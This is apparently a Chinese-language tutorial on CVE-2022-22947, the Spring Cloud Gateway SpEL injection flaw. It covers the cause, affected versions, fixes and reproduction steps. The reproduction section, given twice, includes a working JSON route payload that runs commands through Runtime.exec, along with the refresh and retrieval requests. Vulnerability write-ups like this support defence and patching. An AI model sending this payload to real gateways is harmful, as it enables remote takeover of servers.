Spring Cloud-CVE-2022-22947

1.漏洞简介

CVE-2022-22947 漏洞详解

CVE-2022-22947 是 Spring Cloud Gateway 中的一个严重远程代码执行(RCE)漏洞,也称为 Spring Cloud Gateway SpEL 注入漏洞。该漏洞允许攻击者通过构造恶意的请求,利用 Spring 表达式语言(SpEL)注入,在目标服务器上执行任意代码。以下是该漏洞的详细解析,包括漏洞原理、利用条件、影响版本及修复建议。


1. 漏洞背景

Spring Cloud Gateway 是 Spring Cloud 生态系统中的一个 API 网关,用于为微服务架构提供路由、负载均衡、安全控制等功能。该漏洞的核心问题在于 Spring Cloud Gateway 的 Actuator 端点,当该端点被启用并暴露时,攻击者可以通过发送恶意请求触发 SpEL 表达式注入,从而实现远程代码执行。


2. 漏洞原理

漏洞的核心在于 Spring Cloud Gateway 对 SpEL 表达式的处理机制

  1. Actuator 端点

    • Spring Boot Actuator 提供了管理和监控应用程序的功能,包括 /actuator/gateway/routes 等端点。
    • management.endpoint.gateway.enabled=truemanagement.endpoints.web.exposure.include=gateway 时,Gateway Actuator 端点会被暴露。
  2. SpEL 注入

    • 攻击者可以通过 /actuator/gateway/routes 接口添加恶意路由,并在路由的 filters 字段中嵌入 SpEL 表达式。
    • 当路由被刷新(通过 /actuator/gateway/refresh)时,Spring Cloud Gateway 会解析并执行 SpEL 表达式,导致任意代码执行。
  3. 漏洞触发流程

    • 攻击者构造恶意路由,其中 filters 字段包含 SpEL 表达式(如 #{T(java.lang.Runtime).getRuntime().exec("whoami")})。
    • 发送恶意路由到 /actuator/gateway/routes/{id}
    • 刷新路由(/actuator/gateway/refresh),触发 SpEL 表达式解析和执行。
    • 攻击者通过 /actuator/gateway/routes/{id} 查看命令执行结果。

3. 漏洞利用条件

  1. 受影响版本

    • Spring Cloud Gateway 3.1.x < 3.1.1
    • Spring Cloud Gateway 3.0.x < 3.0.7
    • 其他不受支持的旧版本。
  2. 利用条件

    • 目标系统启用了 Spring Boot Actuator,并暴露了 /actuator/gateway 端点。
    • 配置文件中满足以下条件:
      1
      2
      management.endpoint.gateway.enabled=true
      management.endpoints.web.exposure.include=gateway
    • 攻击者能够访问目标系统的 Actuator 端点。

4. 漏洞复现

以下是漏洞复现的简要步骤:

  1. 添加恶意路由

    • 发送 POST 请求到 /actuator/gateway/routes/error,构造恶意路由:
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      {
      "id": "hacktest",
      "filters": [{
      "name": "AddResponseHeader",
      "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
      }
      }],
      "uri": "http://example.com"
      }
  2. 刷新路由

    • 发送 POST 请求到 /actuator/gateway/refresh,触发 SpEL 表达式执行。
  3. 查看结果

    • 发送 GET 请求到 `/actuator/gateway/routes,查看命令执行结果。

5. 影响范围

  • 受影响版本
    • Spring Cloud Gateway 3.1.x < 3.1.1
    • Spring Cloud Gateway 3.0.x < 3.0.7
    • 其他不受支持的旧版本。
  • 危害
    • 攻击者可以远程执行任意代码,完全控制目标服务器。
    • 可能导致数据泄露、服务中断、后门植入等严重后果。

6. 修复建议

  1. 升级版本

    • 升级到 Spring Cloud Gateway 3.1.1 或更高版本。
    • 升级到 Spring Cloud Gateway 3.0.7 或更高版本。
  2. 禁用 Actuator 端点

    • 如果不需要 Actuator 功能,可以通过以下配置禁用:
      1
      management.endpoint.gateway.enabled=false
  3. 限制访问

    • 使用 Spring Security 对 Actuator 端点进行访问控制,仅允许可信 IP 访问。
  4. 监控和审计

    • 定期监控系统日志,检测异常访问行为。
    • 使用防火墙或安全组规则限制对 Actuator 端点的访问。

7. 总结

CVE-2022-22947 是一个高危的远程代码执行漏洞,影响范围广泛,利用条件简单。建议用户尽快升级版本并采取安全加固措施,以避免潜在的安全风险。通过禁用不必要的 Actuator 端点、限制访问权限和实施安全策略,可以有效降低漏洞被利用的风险。

2.复现流程

  1. 访问端点添加恶意路由 /actuator/gateway/routes/error
1
2
3
4
5
6
7
8
9
10
11
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}

image-20250211234324961

  1. 发送POST请求刷新路由,触发 SpEL 表达式执行。/actuator/gateway/refresh

image-20250211234601368

  1. 访问路由,查看命令执行结果 /actuator/gateway/routes

image-20250211234854026